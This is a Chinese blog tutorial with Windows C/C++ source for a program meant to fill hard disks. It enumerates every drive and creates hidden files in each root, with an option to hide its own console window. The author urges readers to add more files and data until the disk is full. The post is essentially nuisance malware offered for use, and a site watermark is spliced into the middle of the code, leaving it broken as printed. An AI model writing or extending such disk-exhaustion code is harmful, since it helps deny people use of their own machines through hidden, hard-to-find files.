• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

C/C++轻松写可塞满硬盘的程序

c# 搞代码 4年前 (2022-01-09) 17次浏览 已收录 0个评论

关于写可塞满硬盘的程序

我们先想想思路:

第一步:获取逻辑盘符

第二步:创建文件

第三步:文件写入数据

扩展要求:

一:隐藏窗口

二:文件设置为隐藏属性

下面我们对上述的思路介绍一个API,接受完后给出源代码

GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(    _In_  DWORD  nBufferLength,    _Out_ LPTSTR lpBuffer  );

此函数是把系统里面可用的磁盘读取到lpBuffer里面

成功则返回获取的总长度,

失败有两个情况一个是buffer不够长,一个是其他问题

关于其他的API函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,

下面看源代码

#include <Windows.h>    int main()  {      //FreeConsole();    //隐藏控制台        char strDriveStrings[MAXBYTE] = { 0 };        //获取逻辑地址      DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);        for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符                   {          char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };          strncpy_s(strRoot,&strDriveStrings[i], 4);          strcpy_s(strTargetPath, strRoot);            //创建100个文件          for (int j = 0; j < 100; j++)          {              char TempStrTargetPath[MAX_PATH];              strcpy_s(TempStrTargetPath, strTargetPath);              char FileName[MAXBYTE];              char Date[MAXBYTE] = "11111";              wsprintf(FileName, "%d.txt", j);            <i>本文来源gaodai$ma#com搞$代*码*网</i>  strcat_s(TempStrTargetPath, FileName);                //创建文件              HANDLE hFile;              hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);              if (hFile == INVALID_HANDLE_VALUE)                  continue;              DWORD Pointer;                //写入数据              WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);              CloseHandle(hFile);                //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值              memset(FileName, 0, sizeof(FileName));                //设置为隐藏              SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);          }                }      return 0;  }

把文件浏览属性设置好:

运行结果如下:

如果出现以下问题:

修改字符集如下:

所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满

以上就是 C/C++轻松写可塞满硬盘的程序的内容,更多相关内容请关注搞代码(www.gaodaima.com)!


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:C/C++轻松写可塞满硬盘的程序

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址